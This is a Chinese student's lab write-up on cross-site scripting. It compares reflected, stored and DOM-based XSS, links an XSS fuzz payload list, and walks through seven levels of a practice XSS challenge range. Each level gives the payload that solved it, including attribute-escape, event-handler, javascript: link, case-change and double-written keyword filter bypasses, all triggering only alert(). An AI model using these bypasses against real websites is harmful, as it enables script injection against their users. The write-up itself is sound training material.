小结
XSS漏洞:由于Web应用程序对用户输入的数据没有进行充分的验证和过滤。攻击者可以利用这一漏洞,将恶意脚本代码嵌入到用户输入的数据中,例如如表单提交、URL参数、Cookie等。当这些数据被Web应用程序接收并嵌入到网页中时,恶意脚本就会被执行。
任务一、 总结反射型、存储型、DOM型XSS特点和区别
反射性XSS:也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞
DOM型XSS:传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。(是特殊的反射型XSS)
存储型XSS:当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击
区别:
反射型XSS | 存储型XSS | DOM型XSS | |
执行位置 | 前端浏览器 | 后端服务器 | 前端浏览器 |
持久性 | 非持久性 | 持久性 | 非持久性 |
攻击对象 | 特定用户 | 所有访问页面用户 | 特定用户 |
任务2、上网搜索一份XSS 的fuzz字典或字典生成工具(可选)
https://github.com/TheKingOfDuck/easyXssPayload/blob/master/easyXssPayload.txt
任务三、 到XSS挑战靶场打靶,要求通过5关以上,通关越多,加分越多。
靶场(https://xss.tesla-space.com/)
XSS常见的触发标签 http://t.csdnimg.cn/WRuuC
Level1
发现网页源代码有传参,并且显示payload长度
弹窗的指定函数(?)里写了“完成的不错” ,我们测试一下
将test替换为
<script>alert()</script>
Level2
能看到输入框的内容可修改,此时查看代码
发现提交的内容是””中的内容,最终执行时<>被html实体转义了,我们可以将””闭合掉
" <script>alert()</script> "
还是不对,因为前面还有与input的<,后面的>
"> <script>alert()</script> <"
Level3
这一关和上一关看起来很像,尝试不对
查看网页源代码,仍然进行了html实体转义,但下面value处使用’’而非””
'> <script>alert()</script> <'
仍然不对,但’’没有被实体转义,我们使用不含><的触发条件
' onclick='alert()
,提交后再次点击输入框
Level4
"> <script>alert()</script> <"
“ onclick=”alert()
(是2、3关的结合)
Level5
<script>alert()</script>
发现我的标签被截断,此处可使用<a>标签,当标签<a>被点击是就会触发执行跳转
<a href=javascript:alert()>test</a>
闭合一下
"> <a href=javascript:alert()>test</a> <"
Level6
"> <a Href=javascript:alert()>test</a> <"
改成大写有效果
Level7
将大写换成了小写,href/script也丢失了,我们可用双写法绕过
"> <a hrhrefef=javascrscriptipt:alert()>test</a> <"